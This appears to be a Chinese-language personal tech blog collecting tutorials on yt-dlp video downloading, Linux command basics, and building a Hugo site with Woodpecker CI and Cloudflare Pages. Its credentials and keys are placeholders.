$terminal-foreground: #4EEE85;

@import "custom/terminal.scss";

</> scss 📄 light.scss

// terminal
$terminal-header: #f4f4f7;
$terminal-header-font: #000000;
$terminal-background: #ffffff;
$terminal-foreground: #000000;

@import "custom/terminal.scss";

使用方式

terminal

user@host folder % ls

here is some bash output example

</> markdown

{{<terminal>}}
user@host folder % ls

here is some bash output example
{{</terminal>}}

裡面的指令開頭，如 user@host folder % 我就沒有另外做生成，需要再手動打上去
一是懶得做辨識指令跟輸出，是個大工程
二是有些單純分享指令的情況，我不會加上開頭，方便複製
只有在同時貼指令加輸出結果時，為了區分會加
再加上裡面的內容有時我會想照不同終端機修改，例如 bash 是 $、mac 的終端機是 %

預設上方的標題會寫 terminal ，如果想換別的可以用 title 屬性修改

bash

$ ls

here is some bash output example

</> markdown

{{<terminal title="bash">}}
\$ ls

here is some bash output example
{{</terminal>}}

參考資料

小骆同学 Hugo 短代码

一笼虾饺有四个不是从零开始的Hugo建站笔记

Sam Willis Pure CSS OSX window

Microk Code Window for MAC OS Style

Photo by Sho W. on Unsplash

用指令下載影片吧 youtube-dlp

Tue, 18 Mar 2025 14:45:13 +0800

之前有個好用的下載工具叫 youtube-dl，但它已經不能用了
好在有大神接手 fork 一個新版本叫 yt-dlp

fork 出來的新版跟舊版沒有改變太多，所以下面就照搬之前的教學

雖然名稱翻譯叫 youtube 下載，但 yt-dlp支援的網站多達一千多個

只要到 GitHub Release 就能下載

對於初學者會卡的地方，大概就只有不熟悉指令界面而已 $可能還有youtube的限速$

甚麼?你說打指令你不會用?

那你可以改用 Hitomi Downloader

系列教學

安裝

Windows 版本

Windows 需要 Microsoft Visual C++ 2010 Service Pack 1 Redistributable Package (x86)

https://download.microsoft.com/download/1/6/5/165255E7-1014-4D0A-B094-B6A430A6BFFC/vcredist_x86.exe

套件連結至微軟網站，請放心服用

安裝後下載 Windows.exe 搬到預設應用程式的位置

`1`	`%USERPROFILE%\AppData\Local\Microsoft\WindowsApps`

或是參考這篇 Windows 11 環境變數及 Path 設定設定路徑(Path)環境變數

使用 CMD, Powershell 或 windows terminal 就可以直接使用

Linux, Mac 版本

Linux 及 Mac 需要 Python 2.6, 2.7, 或 3.2+ 以上的版本才能執行

可以到 Python 官網下載

可以自行到 GitHub 下載 yt-dlp

GitHub Release

Mac 可以透過 HomeBrew 安裝
教學請看 Homebrew

>_ terminal

`1`	`brew install ffmpeg yt-dlp`

更新

>_ terminal

`1`	`yt-dlp -U`

Linux 若是用套件管理器(例如 man, apt)安裝，就用套件管理器更新

下載影片

windows

`1`	`yt-dlp.exe "https://www.youtube.com/watch?v=dQw4w9WgXcQ"`

linux

`1`	`yt-dlp "https://www.youtube.com/watch?v=dQw4w9WgXcQ"`

使用指令介面不像視窗版是點開後才給設定或操作，
大多都是先把設定參數都一起寫在啟動指令中

用 Ctrl + C 可以終止執行中的指令
如果網址內有特殊符號，可以用字串標記 “URL”

通常指令介面的程式會保留 -h --help 做使用說明

如果不會操作，可以參考使用說明

下載播放清單

下載撥放清單跟下載影片一樣，把網址換成撥放清單

指定播放清單下載範圍

--playlist-start：播放清單起始位置
--playlist-end：播放清單結束位置
--playlist-items：指定範圍，逗號分隔，例如：1,2,5,8, 1-3,7,10-13

只下載音樂

用 -x 只輸出音軌，--audio-format 指定輸出檔的格式

>_ terminal

`1`	`yt-dlp -x --audio-format mp3 https://www.youtube.com/watch?v=WI-EMzrUSP4`

其他參數：

--embed-thumbnail：嵌入影片縮圖(僅限 mp3 和 m4a/mp4)
--embed-metadata：加入影片資訊

參考來源

https://github.com/yt-dlp/yt-dlp#readme
https://junyussh.github.io/p/use-youtube-dl-to-download-videos/

Photo by Alexander Shatov on Unsplash

yt-dlp 登入並下載影片

Tue, 18 Mar 2025 14:33:45 +0800

↩️回總教學文

帳號密碼登入

某些內容會指定必須要認證身分$登入$後，才能觀看
這種情況下， yt-dlp 有提供輸入簡單的帳號密碼的參數

-u, --username USERNAME 輸入帳號
-p, --password PASSWORD 輸入密碼

範例

>_ terminal

`1`	`yt-dlp --username "your_mail@gmail.com" --password "P@ssw0rd" "https://www.youtube.com/watch?v=dQw4w9WgXcQ"`

目前只剩部分網站可以用這種方法登入。
Google 有更新過 youtube 帳號的取用安全性，只能用下面的 Cookie 方式登入。

yt-dlp 可以使用 Netscape 格式的 cookie 檔案，讓伺服器端認定為已登入帳號的瀏覽器

我們可以用 EditThisCookie 幫我們匯出 Cookie

EditThisCookie Chrome擴充商店

安裝完後，進入 EditThisCookie 的設定

將輸出格式選擇 Netscape 格式

接著建立 cookie.txt 文字檔

建立完後我們到 https://youtube.com
用 EditThisCookie 插件的匯出功能複製所有 cookie

將複製到的文字貼到 cookie.txt

貼完後照前面的步驟，抓出 https://accounts.google.com 的 cookie

都完成後 cookie.txt 大概會長這個樣子

</> txt

# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by Cookie Editor
.youtube.com	TRUE	/	TRUE	1712544730	__Secure-1PAPISID	XXXXX
.youtube.com	TRUE	/	TRUE	1712544730	__Secure-1PSID	XXXXX
.youtube.com	TRUE	/	TRUE	1712544730	__Secure-3PAPISID	XXXXX
.youtube.com	TRUE	/	TRUE	1712544730	__Secure-3PSID	XXXXX
.youtube.com	TRUE	/	TRUE	1681127908	__Secure-3PSIDCC	XXXXX
.youtube.com	TRUE	/	FALSE	1687764170	_ga	XXXXX
.youtube.com	TRUE	/	FALSE	1654529554	_gcl_au	XXXXX
.youtube.com	TRUE	/	FALSE	1712544730	APISID	XXXXX
.youtube.com	TRUE	/	FALSE	1712544730	HSID	XXXXX
.youtube.com	TRUE	/	TRUE	1664713150	LOGIN_INFO	XXXXX
.youtube.com	TRUE	/	TRUE	1712663916	PREF	XXXXX
.youtube.com	TRUE	/	TRUE	1712544730	SAPISID	XXXXX
.youtube.com	TRUE	/	FALSE	1712544730	SID	XXXXX.
.youtube.com	TRUE	/	FALSE	1681127908	SIDCC	XXXXX
.youtube.com	TRUE	/	TRUE	1712544730	SSID	XXXXX
.youtube.com	TRUE	/	TRUE	1665142416	VISITOR_INFO1_LIVE	XXXXX
.youtube.com	TRUE	/	FALSE	0	wide	0
.youtube.com	TRUE	/	TRUE	0	YSC	XXXXX

# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by Cookie Editor
.google.com	TRUE	/	TRUE	1712494597	__Secure-1PAPISID	XXXXX
.google.com	TRUE	/	TRUE	1712494597	__Secure-1PSID	XXXXX
.google.com	TRUE	/	TRUE	1712494597	__Secure-3PAPISID	XXXXX
.google.com	TRUE	/	TRUE	1712494597	__Secure-3PSID	XXXXX
.google.com	TRUE	/	TRUE	1681128005	__Secure-3PSIDCC	XXXXX
.google.com	TRUE	/	TRUE	1652183330	1P_JAR	XXXXX
.google.com	TRUE	/	TRUE	1663206405	AEC	XXXXX
.google.com	TRUE	/	FALSE	1712494597	APISID	XXXXX
.google.com	TRUE	/	FALSE	1712494597	HSID	XXXXX
.google.com	TRUE	/	TRUE	1665402835	NID	XXXXX
.google.com	TRUE	/	FALSE	1651150185	OGP	XXXXX
.google.com	TRUE	/	FALSE	1651150184	OGPC	XXXXX
.google.com	TRUE	/	TRUE	1712494597	SAPISID	XXXXX
.google.com	TRUE	/	FALSE	1712494597	SID	XXXXX
.google.com	TRUE	/	FALSE	1681128005	SIDCC	XXXXX
.google.com	TRUE	/	TRUE	1712494597	SSID	XXXXX
myaccount.google.com	FALSE	/	TRUE	1712544729	__Secure-OSID	XXXXX
myaccount.google.com	FALSE	/	TRUE	1712544729	OSID	XXXXX
myaccount.google.com	FALSE	/	TRUE	1652064730	OTZ	XXXXX

重整格式

接著我們將剛剛的 cookie.txt 用 curl 重新整理格式

>_ terminal

`1`	`curl -b cookie.txt --cookie-jar ytcookie.txt 'https://youtube.com'`

若是 Windows 的用戶，可以使用 Windows subsystem linux (WSL) 跑 Linux 的程式

執行完後 cookie.txt 就可以刪了，我們只要 ytcookie.txt 這個檔案

ytcookie.txt 要取甚麼名字都可以

用 --cookie 設定我們剛剛做好的 ytcookie.txt 就可以了

>_ terminal

`1`	`yt-dlp --cookie ./ytcookie.txt "https://www.youtube.com/watch?v=dQw4w9WgXcQ"`

接下來只要你沒在瀏覽器內登出帳號，ytcookie.txt 理論上就能一直使用

當然，網站那邊可能也會紀錄是這個帳號在下載影片…

↩️回總教學文

Photo by Alexander Shatov on Unsplash

yt-dlp 指定下載影片畫質

Tue, 18 Mar 2025 14:07:08 +0800

↩️回總教學文

選擇畫質

yt-dlp 預設會下載最高畫質的版本，不一定是 mp4 格式

列出可下載的畫質:

>_ terminal

\$ yt-dlp -F https://www.youtube.com/watch?v=dQw4w9WgXcQ
[youtube] dQw4w9WgXcQ: Downloading webpage
[info] Available formats for dQw4w9WgXcQ:
format code  extension  resolution note
249          webm       audio only tiny   46k , webm_dash container, opus @ 46k (48000Hz), 1.18MiB
250          webm       audio only tiny   61k , webm_dash container, opus @ 61k (48000Hz), 1.55MiB
140          m4a        audio only tiny  129k , m4a_dash container, mp4a.40.2@129k (44100Hz), 3.27MiB
251          webm       audio only tiny  129k , webm_dash container, opus @129k (48000Hz), 3.28MiB
394          mp4        256x144    144p   68k , mp4_dash container, av01.0.00M.08@  68k, 25fps, video only, 1.72MiB
160          mp4        256x144    144p   71k , mp4_dash container, avc1.4d400c@  71k, 25fps, video only, 1.81MiB
278          webm       256x144    144p   89k , webm_dash container, vp9@  89k, 25fps, video only, 2.27MiB
133          mp4        426x240    240p  117k , mp4_dash container, avc1.4d4015@ 117k, 25fps, video only, 2.96MiB
395          mp4        426x240    240p  134k , mp4_dash container, av01.0.00M.08@ 134k, 25fps, video only, 3.40MiB
242          webm       426x240    240p  159k , webm_dash container, vp9@ 159k, 25fps, video only, 4.02MiB
134          mp4        640x360    360p  219k , mp4_dash container, avc1.4d401e@ 219k, 25fps, video only, 5.55MiB
396          mp4        640x360    360p  262k , mp4_dash container, av01.0.01M.08@ 262k, 25fps, video only, 6.64MiB
243          webm       640x360    360p  273k , webm_dash container, vp9@ 273k, 25fps, video only, 6.92MiB
135          mp4        854x480    480p  337k , mp4_dash container, avc1.4d401e@ 337k, 25fps, video only, 8.52MiB
244          webm       854x480    480p  397k , webm_dash container, vp9@ 397k, 25fps, video only, 10.04MiB
397          mp4        854x480    480p  450k , mp4_dash container, av01.0.04M.08@ 450k, 25fps, video only, 11.38MiB
136          mp4        1280x720   720p  655k , mp4_dash container, avc1.4d401f@ 655k, 25fps, video only, 16.57MiB
247          webm       1280x720   720p  699k , webm_dash container, vp9@ 699k, 25fps, video only, 17.67MiB
398          mp4        1280x720   720p  858k , mp4_dash container, av01.0.05M.08@ 858k, 25fps, video only, 21.70MiB
399          mp4        1920x1080  1080p 1576k , mp4_dash container, av01.0.08M.08@1576k, 25fps, video only, 39.84MiB
137          mp4        1920x1080  1080p 3546k , mp4_dash container, avc1.640028@3546k, 25fps, video only, 89.64MiB
18           mp4        640x360    360p  630k , avc1.42001E, 25fps, mp4a.40.2 (44100Hz), 15.95MiB (best)

選好要下載的格式，把 format code 填入參數 -f 裡

>_ terminal

`1`	`yt-dlp -f 137 https://www.youtube.com/watch?v=dQw4w9WgXcQ`

1920x1080 影片 + 129K音軌 (需要先裝 ffmpeg)

>_ terminal

`1`	`yt-dlp -f "137+140" https://www.youtube.com/watch?v=dQw4w9WgXcQ`

如果懶得查，也可以直接指定某種影片、音樂最高品質

下載 MP4 格式中最高畫質，或是其他格式中的最高畫質

>_ terminal

`1`	`yt-dlp -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best' url`

指定最佳畫質，但不要高於 480p

>_ terminal

`1`	`yt-dlp -f 'bestvideo[height<=480]+bestaudio/best[height<=480]' url`

下載檔案大小小於 50M 的最高畫質影片

>_ terminal

`1`	`yt-dlp -f 'best[filesize<50M]' url`

指定格式、品質時，若網站沒有該格式會下載失敗

↩️回總教學文

Photo by Alexander Shatov on Unsplash

yt-dlp 下載字幕

Tue, 18 Mar 2025 14:01:31 +0800

↩️回總教學文

參數

--list-subs：列出可下載的所有字幕
--write-sub：儲存字幕
--write-auto-sub: 儲存自動翻譯的字幕，限 youtube 可以使用
--embed-sub：將字幕合併至影片中，需搭配 –write-sub 參數使用
--all-subs：下載所有字幕
--sub-format：下載的字幕格式，如果原影片沒有指定的字幕格式會去下載其他格式的字幕
--sub-lang：選擇要下載的字幕語言，用逗號分隔，例如：zh_TW,ja
--convert-subs：將下載的字幕轉換成其他格式，目前支援 srt|ass|vtt|lrc

列出所有可用字幕

>_ terminal

yt-dlp --list-subs https://www.youtube.com/watch?v=AJYsA1jXf60
[youtube] AJYsA1jXf60: Downloading webpage
Available automatic captions for AJYsA1jXf60:
Language formats
tg       vtt, ttml, srv3, srv2, srv1
af       vtt, ttml, srv3, srv2, srv1
...
vi       vtt, ttml, srv3, srv2, srv1
zh-Hant  vtt, ttml, srv3, srv2, srv1
...

下載影片與字幕

如果我要下載繁中以及英文的字幕，並另存成 .srt 格式

>_ terminal

`1`	`yt-dlp --sub-lang zh-Hant,en --write-sub --convert-subs srt https://www.youtube.com/watch?v=AJYsA1jXf60`

只下載字幕

可以加 --skip-download 跳過下載影片

>_ terminal

`1`	`yt-dlp --sub-lang zh-Hant,en --write-sub --convert-subs srt --skip-download https://www.youtube.com/watch?v=AJYsA1jXf60`

下載自動翻譯字幕

下面指令為下載自動翻譯的繁體中文字幕

>_ terminal

`1`	`yt-dlp --write-auto-sub --sub-lang zh-Hant https://www.youtube.com/watch?v=R_BlrlAcOoQ`

↩️回總教學文

Photo by Alexander Shatov on Unsplash

Linux Command 筆記

Mon, 17 Mar 2025 10:41:26 +0800

這邊紀錄是在 linux 上可以使用的指令，mac 上應該也能用
目前我用過的 linux 系統沒有很多，大概只有 ubuntu, Raspberry Pi OS, truenas, proxmox ve 等
如果 Windows 要使用可以裝 WSL (windows subsystem linux)

顯示目前資料夾

bash

pwd

find

找檔名(資料夾) 基本用法

若要在目前的目錄底下，找尋找所有 .txt 的檔案，可以用下面指令
find 可以指定搜尋的是檔案或資料夾
-type f 檔案， -type d 資料夾

bash

`1`	`find . -name ＊.txt`

若其中有檔案或資料夾要排除
範例排除所有 txt 檔與在 folder 底下的檔案

bash

`1`	`find . -type f ! -name ".txt" ! -path "./folder/"`

搜尋並執行指令

中間 command 可以自行換成其他指令

bash

`1`	`find . -type f -name "*.txt" -exec command {} \+`

搜尋並刪除

bash

`1`	`find . -type d -name "foo" -exec rm -rf {} \+`

如果只是刪除空資料夾可以不用用到 -exec

bash

`1`	`find . -type d -empty -delete`

列出大於 25MB檔案

bash

`1`	`find . -size +25M -exec ls -lh {} \+`

找檔案修改時間

列出現在資料夾1天內有改動的檔案

bash

`1`	`find ./ -mtime -1`

列出現在資料夾2小時內有改動的檔案

bash

`1`	`find ./ -mmin -120`

列出現在資料夾1天之前有改動的檔案

bash

`1`	`find ./ -mtime +1`

列出檔案詳細資料

bash

`1`	`find ./ -mtime +1 -ls`

找檔案內容

find 專找檔案名稱、檔案資訊， grep 才能列內容出來找

bash

`1`	`grep -rnw '/path/to/somewhere/' -e 'pattern'`

-r or -R is recursive,
-n is line number
-w stands for match the whole word.
-l (lower-case L) can be added to just give the file name of matching files.

壓縮、解壓縮

紀錄目前有遇到、常用的格式

tar

大部分 linux 內建，不用特別安裝

壓縮

`1`	`tar cvf FileName.tar DirName`

解壓縮

`1`	`tar xvf FileName.tar`

tar.gz

大部分 linux 內建，不用特別安裝

壓縮

`1`	`tar zcvf FileName.tar DirName`

解壓縮

`1`	`tar zxvf FileName.tar`

zip

需要安裝 zip，附上 ubutu 安裝指令

安裝

`1`	`apt install zip unzip`

壓縮

`1`	`zip -r FileName.zip DirName`

解壓縮

`1`	`unzip FileName.zip`

7z rar

7z 可以一起處理 rar 的格式，附上 ubuntu 安裝指令

安裝

`1`	`apt-get install p7zip-full p7zip-rar`

壓縮

`1`	`7z a FileName.7z FileName`

壓縮可以另外加 -pYOURPASSWORD 來加密碼
FileName.7z 可以自行換成 FileName.rar

解壓縮

`1`	`7z x FileName.7z`

watch 固定間格重複執行固定指令

大部分 linux 內建，不用特別安裝

watch 會固定時間重複下同樣的指令，方便看 log 或系統執行中的變化
-n 可以調整間隔時間(秒)，不同的系統預設值不同
-d 標示出不同處

bash

`1`	`watch -n 1 command`

例如每秒看 nvidia 顯示卡的運行狀況

bash

`1`	`watch -n 1 nvidia-smi`

參考來源

https://blog.gtwang.org/linux/unix-linux-find-command-examples/

https://www.cyberciti.biz/faq/how-to-find-and-delete-directory-recursively-on-linux-or-unix-like-system/

https://stackoverflow.com/questions/16956810/how-do-i-find-all-files-containing-specific-text-on-linux

https://note.drx.tw/2008/04/command.html

https://snoopymemory.blogspot.com/2016/04/ubuntu-7zrar.html

Photo by Gabriel Heinzer on Unsplash

Hugo + woodpacker CI + CloudFlare Pages 架站心得

Wed, 12 Mar 2025 12:41:42 +0800

Hexo 轉到 Hugo

會想將網站改用HUGO架的最後稻草，算是npm肥大的問題
套用 CI/CD 之後，每次自動跑編譯更是把這個弊病放大
動不動編譯就要跑1X～2X分鐘 ~~也有可能是我的伺服器太爛~~

之前還想哪天要整理一下貼文，剛好連生成器也一起換了

選用主題

主體就選用 stack，有些地方再自己修改

hugo-theme-stack

Card-style Hugo theme designed for bloggers

我這邊clone CaiJimmy/hugo-theme-stack-starter 來使用，省去自己安裝

PS:
因為用 starter 還有自行修改。所以如果主題有更新，還要另外檢查一下修改的地方有沒有跟更新衝突。

修改的詳細步驟請看 ~~絕對不是想水文章~~

修改預設設定

在修改之前，由於 Hugo 的設定檔格式十分有彈性 (相對複雜)，建議修改前先稍微了解一下 ~~除非設定檔要照抄~~

Hugo 設定檔結構

開啟換行自動轉

調整 markdown 處理器，將一般文字的換行符號轉 
如果沒開 (預設沒開)，相鄰的兩行會接在同一行，例如：

</> markdown

1
2

第一行
第二行

第一行第二行

修改 config/markup.toml 找到 [goldmark.renderer]
加上 hardWraps = true，就可以了，這樣寫起文章來也比較貼近平常習慣

</> toml 📄 markup.toml

# Markdown renderer configuration
[goldmark.renderer]
unsafe = true
hardWraps = true

...

設定 Google Analytics 網站分析

Hugo 官方本來就有提供設定方法，詳情請參考 hugo templates
通常沒特殊需要，只需要用 Hugo 內建的模版就好了

如果需要替換，在專案資料夾內新增 layouts/_internal/google_analytics.html 取代原模版
隨附 hugo 預設模版 google_analytics.html

在設定檔內加入 googleAnalytics 的評估 ID，就可以了

</> toml 📄 config/_default/hugo.toml

1
2
3

[services]
  [services.googleAnalytics]
    id = 'G-MEASUREMENT_ID'

設定 rss atom feed

這邊也切成另一篇文章

Hugo 設定RSS, ATOM Feed

設定 CICD

我在用的環境之前有安裝 Drone CI 在用
但去年覺得怎很久沒跳需要更新，才發現免費版停更了
找了一陣子發現開源的替代方案 woodpecker，一樣是是用容器處理對應步驟
設定檔用起來也不會差太多

~~使用方法改天再來寫教學~~

當然，如果你是用 github 或是 gitlab，也可以用自帶的 github workflows 這類功能就可以了

設定自動更新主題

在 woodpecker repo 內點設定，在 cron 分頁中建好名叫 every week 的排程
更新主題應該不用太頻繁，所以我定每週跑一次，你也可以調更頻繁

更新步驟就照改自 stack starter 的 github workflows
在專案資料夾下新增 .woodpecker/update-theme.yml

</> yaml 📄 .woodpecker/update-theme.yml

when:
  event: cron
  cron: "every week"

steps:
  - name: update theme
    image: hugomods/hugo:dart-sass-go-git
    commands:
    - hugo mod get -u github.com/CaiJimmy/hugo-theme-stack/v3

  - name: Tidy go.mod, go.sum
    image: hugomods/hugo:dart-sass-go-git
    commands:
    - hugo mod tidy

  - name: Commit changes
    image: appleboy/drone-git-push
    settings:
      branch: main
      remote:
        from_secret: gitea-remote-withpass
      force: false
      commit: true
      commit_message: "CI: Update theme"
      author_name: "zonelin"
      author_email: "th5331958@gmail.com"

hugo image 我是使用 razonyang 大大做的 docker image
他提供了各種版本跟套件的組合，有需要可以去 https://docker.hugomods.com/choose/ 找你需要的 image

Hugo Docker Images

Automated and up-to-date community Hugo Docker images, with various tags from minimalist to comprehensive, such as standard edition and extended edition, root and non-root, Git, Go, Node.js, NPM, Yarn, Dart Sass, AsciiDoc, Pandoc, Nightly build, and more.

這邊我有另外遇到一個小問題，就是我自己架的 git 是沒有開放 ssh 連線的
所以做了一點變通，將帳號密碼合併到 remote 字串，放在 secret 裡面

`1`	`https://username:password@your.gitea.com/username/repository.git`

至於安全性，我覺得既然都可以將 ssh private key 內容放在 secret 裡面了，帳號密碼也沒關係吧

詳細的設定請參考 Woodpeak Git Push 至私有 git

設定推送至 GitHub

同樣在 .woodpecker 新增流程設定檔 github.yml
這次稍微改動，只有並到 release 分支，才會觸發執行

</> yaml 📄 .woodpecker/github.yml

when:
  - event: push
    branch: Release

steps:
  - name: build
    image: hugomods/hugo:dart-sass-go-git
    commands:
    - hugo build
    - cp public/post/rss.xml public/rss.xml

  - name: deploy git page
    image: appleboy/drone-git-push
    environment:
      PLUGIN_BRANCH: main
      PLUGIN_SSH_KEY:
        from_secret: github_key
      PLUGIN_REMOTE: "git@github.com:ZoneLin/blog-public.git"
      PLUGIN_AUTHOR_NAME: zoneLin
      PLUGIN_AUTHOR_EMAIL: th5331958@gmail.com
      PLUGIN_FORCE: true
      PLUGIN_COMMIT: true
      PLUGIN_COMMIT_MESSAGE: "Auto generated using Woodpecker CI"
    commands:
    - cd public
    - git init
    - /bin/drone-git-push

這次是推送到 GutHub 所以可以用 SSH key 方式推送
我不想把網站程式碼公開出去，所以只將編譯完的 public 資料夾推到 GutHub 上

到這邊其實 GitHub Page 差一步就可以設定好了
到 repository 設定 > Pages 點 upgrade 就可以了

備註 repository 的名稱必須是 XXX.github.io
詳細可到 github page 官網看 https://pages.github.com/

部署到 CloudFlare Page

請參考 Cloudflare Page 架站教學

這邊就跟之前一樣沒作修改，流程大概如下

CloudFlare Page 設定監看 GitHub
把編完的靜態網站檔案傳到 GitHub

後就等自動同步就好了，通常只需要幾秒

設定搜尋引擎

Google AdSense 讓你的網站幫你賺錢

大概就這些了 🥱

Woodpeak Git Push 至私有 git

Tue, 11 Mar 2025 13:07:50 +0800

Git 連線限制

最近在設定部落格的自動更新，發現自己架的 gitea 伺服器只有對外開放 https
git 指令內預設是走 ssh 才能使用免密碼，用 key 作身分驗證
為了解決身分驗證的問題，花了一些時間整理解決方式

如果你的目的是 GitHub 或 GitLab 這種不是自己架的，不會有這問題

順便紀錄怎麼使用 drone-git-push

1. 改用 https + 帳號密碼驗證

如果原本 gitea 就已經設定好 https 連線，這是簡單方便的方式，只要改專案的CICD設定就好了
將 git remote 的設定字串，改成下面的格式就好了

📄 secret-remote-string

`1`	`https://username:password@your.gitea.com/username/repository.git`

如果擔心明文會洩漏帳號密碼，可以用 woodpecker secret
先在 woodpecker 中加入上面的 remote 字串，到專案的 secret
再改專案中的 .woodpecker 設定檔， remote 的地方改成調用 secret

</> yml

steps:

  - name: Commit changes
    image: appleboy/drone-git-push
    settings:
      branch: main
      remote:
        from_secret: secret-remote-string

2. IP直連

假設已經準備好 ssh key (如果沒有，可以跳去後面看完整教學)

預先調整網路設定，讓 woodpecker 伺服器跟 gitea 伺服器可以用 IP 直連
例如穿透、轉發或乾脆放同網段

改完之後，將 git remote 改成如下格式，搭配原本的 key 連線即可

`1`	`git@gitea-ip:username/repository.git`

如果 gitea 的 ssh port 不是在預設的 22

`1`	`ssh://git@gitea-ip:port/username/repository.git`

3. revers proxy 轉發 22 port

這個方法是第一個方法的延伸，如果有時間設定建議可以改成這樣，後面使用也比較方便
既然 gitea 用非標準的 port，那就在 revers proxy 改回來就好了

當然，如果你能直接改 gitea 的 port 最省事

通常 revers proxy 會設定讓大部分內網段都能連到(至少我是這樣設定)，不用再重複設定網段穿透
至於對不對外開放可以另外考慮，我只設定內網不同網段也可以連到

設定方式請參考 Gitea - 自己的 Git 自己架

drone-git-push 使用教學

例如使用 ssh key 認證，push 到 github 上

設定連線 SSH Key

使用指令產生公私鑰

bash

`1`	`ssh-keygen -f keyname`

中間 -f 可以自行選擇存放的位置跟檔名
如果沒指定 -f ，預設存在 ~/.ssh/

完成之後會生成 keyname 跟 keyname.pub 兩個檔案
keyname.pub 就是公鑰
keyname 就是私鑰，必須要保存好

將公鑰上傳到 github

到 github 點右上角大頭貼 > settings > 左邊 SSH and GPG keys

點 new SSH key， title 打方便辨識的名字，例如我就放一個 Key 是 woodpecker 專用
將 keyname.pub 的內容貼上就完成了

將公鑰的內容貼進去就可以了

將私鑰內容貼到 woodpecker secret

打開 woodpecker 到專案內點齒輪設定 > Secrets

點 add secrets

name 可以寫個方便辨識的名字
value 貼上私鑰的內容 (END後面的換行要保留)

📄 value

-----BEGIN OPENSSH PRIVATE KEY-----
abcdefghi...
OOXXc=
-----END OPENSSH PRIVATE KEY-----

Avalable Plugin 可以指定這個 secret 只有哪個步驟能用
例如我可以填上 appleboy/drone-git-push，就只有 image 用到 drone-git-push 這些步驟能用
留空白代表不限制

Avalable at following event 可以指定在哪些 git 或 woodpecker 操作可以使用這個 secret
這邊的 git 操作指的是你的操作觸發 woodpecker，而不是 drone-git-push 內的動作

woodpecker 設定檔

照前面設定把 Key 跟 secret 設定好之後，就可以在流程內加步驟了

</> yml

  - name: push git
    image: appleboy/drone-git-push
    environment:
      PLUGIN_BRANCH: main
      PLUGIN_SSH_KEY:
        from_secret: github_key
      PLUGIN_REMOTE: "git@github.com:user/repo.git"
      PLUGIN_AUTHOR_NAME: user
      PLUGIN_AUTHOR_EMAIL: email
      PLUGIN_COMMIT: true
      PLUGIN_COMMIT_MESSAGE: "Auto generated using Woodpecker CI"

上面寫的是基本用法
如果除了 git push 的指令還需要跑別的東西，可以用 commands
例如，我的編譯跑完之後，我只想推送編譯完的檔案出去，而不是專案原始碼

先 cd 進到編譯完的 public 資料夾
初始化儲存庫
強制推送至 github

</> yml

  - name: deploy git page
    image: appleboy/drone-git-push
    environment:
      PLUGIN_BRANCH: main
      PLUGIN_SSH_KEY:
        from_secret: github_key
      PLUGIN_REMOTE: "git@github.com:ZoneLin/blog-public.git"
      PLUGIN_AUTHOR_NAME: zoneLin
      PLUGIN_AUTHOR_EMAIL: th5331958@gmail.com
      PLUGIN_FORCE: true
      PLUGIN_COMMIT: true
      PLUGIN_COMMIT_MESSAGE: "Auto generated using Woodpecker CI"
    commands:
    - cd public
    - git init
    - /bin/drone-git-push

隨副 drone-git-push 用法參考
https://woodpecker-ci.org/plugins/Git%20Push

參考來源

Photo by Yancy Min on Unsplash

Hugo 定製自己的Stack主題

Mon, 06 Jan 2025 11:39:58 +0800

hugo-theme-stack

Card-style Hugo theme designed for bloggers

SCSS

hugo-theme-stack 這個主題採用 SCSS 作為寫 CSS 的語言
使用上也不會太困難，用大括號區分選擇器，使用分號區分屬性，寫起來蠻接近原本的 CSS

巢狀結構 (Nesting)

SCSS 支援在搜尋標籤下再次用搜尋，相下面的例子可以更清楚知道像 .title.name 的對應關係

</> scss

.title {
  color: rgb(0, 0, 0);

  .name {
    color: rgb(0, 255, 0);
  }

  span {
    color: rgb(255, 0, 0);
  }
}

編譯完之後會變成

</> css

.title {
  color: rgb(0, 0, 0);
}

.title .name {
  color: rgb(0, 255, 0);
}

.title span {
  color: rgb(255, 0, 0);
}

變數(Variables)

scss 內的變數可以紀錄多個值，單個值時可以用於計算

</> scss

$box-margin: 10px 10px 5px 5px;
$fontbase: 5pt;

.box{
  margin: $box-margin;

  h2 {
    font-size: $fontbase * 2;
  }

  p {
    font-size: $fontbase;
  }
}

編譯完之後

</> css

.box{
  margin: 10px 10px 5px 5px;
}

.box h2 {
  font-size: 10pt;
}

p {
  font-size: 5pt;
}

引用

scss 支援檔案引用，例如我已經有個寫好的 sidebar.scss，在上一層就可以引用這個檔案，編譯時只生成單一個 css

</> scss

`1`	`@import "sidebar.scss";`

後面就放意本站有做的修改

更改新貼文模版

新增貼文指令，建立 my-new-post

>_ terminal

`1`	`hugo new content post/my-new-post/index.md`

依照官方文件 archetypes#lookup-order 的說明

Hugo會依序到下面四個地方找模版

archetypes/post.md
archetypes/default.md
themes/my-theme/archetypes/posts.md
themes/my-theme/archetypes/default.md

其中第3跟第4種，如果主題安裝是用 module 的方式，專案資料夾內不會出現

我們可以在專案資料夾建 archetypes/post.md 取代就好

內容用 yaml, toml 或 json 都可以，這邊以 yaml 為例

其他格式請參考官方文件 archetypes

</> yaml 📄 my-project/archetypes/post.md

---
title: "{{ replace .File.ContentBaseName `-` ` ` | title }}"
slug: "{{ .File.ContentBaseName }}"
description: ""
date: {{ .Date }}
draft: true
hidden: false
comments: true
image:
categories: example
tags:
- example

---

這樣用指令產生新文章時，title 會替換為 my new post，slug 還是維持 my-new-post

調整 Archives

貼文改一行兩篇

在 my-project/assets/scss/custom.scss 新增下面程式碼

</> scss 📄 my-project/assets/scss/custom.scss

@media (min-width: 1024px) {
    .article-list--compact {
        display: grid;
        grid-template-columns: 1fr 1fr;
        background: none;
        box-shadow: none;
        gap: 1rem;

        article {
            background: var(--card-background);
            border: none;
            box-shadow: var(--shadow-l2);
            margin-bottom: 8px;
        }
    }
}

鍵盤按鍵 <kbd>

HTML 內有一個不太常用的標籤 <kbd></kbd> 用來表示鍵盤按鍵。markdown 沒支援生成這個標籤，不過 markdown 內可以直接寫 HTML 使用。平常雖然不太常用，但偶爾用到時還是希望它長得好看一點。

Ctrl + C

</> markdown

`1`	`<kbd>Ctrl</kbd> + <kbd>C</kbd>`

翻一下 github 發現，有專門作鍵盤案動畫的 CSS shhdharmen/keyboard-css。

最簡單的方式可以在 my-project/layouts/partials/head/custom.html 加上引用就可以了。

</> html 📄 my-project/layouts/partials/head/custom.html

